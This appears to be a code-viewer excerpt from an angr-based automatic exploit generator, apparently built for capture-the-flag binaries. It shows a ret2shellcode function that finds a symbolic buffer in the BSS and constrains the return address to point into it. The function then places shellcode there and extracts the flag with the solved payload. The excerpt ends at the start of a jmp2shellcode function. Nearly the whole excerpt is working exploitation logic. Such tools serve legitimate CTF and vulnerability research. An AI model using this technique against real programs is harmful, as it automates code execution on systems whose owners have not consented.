(state_raw: angr.SimState, challenge: Challenge, new_mem: list, binary: InteractiveBinary)
| 97 | |
| 98 | |
| 99 | def ret2shellcode(state_raw: angr.SimState, challenge: Challenge, new_mem: list, binary: InteractiveBinary): |
| 100 | bss_start = challenge.target_binary.bss() |
| 101 | symbolic_list = [state_raw.memory.load(bss_start + x, size=1).symbolic for x in range(0x300)] |
| 102 | if sum(symbolic_list) >= 24: |
| 103 | pos, greatest_count = get_max_successive_symbolic_byte(symbolic_list) |
| 104 | log.success(f"Found symbolic buffer at position {pos} of length {greatest_count}") |
| 105 | if greatest_count >= 24: |
| 106 | payload = get_shellcode(challenge.target_property) |
| 107 | pos += bss_start |
| 108 | offset = 0 |
| 109 | while offset + len(payload) < greatest_count: |
| 110 | constraints = [ |
| 111 | state_raw.memory.load(new_mem[0], |
| 112 | size=challenge.target_property['arch_bytes']) == challenge.le(pos), |
| 113 | state_raw.memory.load(pos + offset, size=len(payload)) == payload |
| 114 | ] |
| 115 | if state_raw.solver.satisfiable(extra_constraints=constraints): |
| 116 | for constraint in constraints: |
| 117 | state_raw.add_constraints(constraint) |
| 118 | return binary.get_flag(state_raw, dump_payload(state_raw, True)) |
| 119 | else: |
| 120 | offset += len(payload) |
| 121 | else: |
| 122 | logging.warning("Too few symbolic bytes in bss, where can shellcode be placed?") |
| 123 | |
| 124 | |
| 125 | def jmp2shellcode(state_raw: angr.SimState, challenge: Challenge, new_mem: list, binary: InteractiveBinary): |
nothing calls this directly
no test coverage detected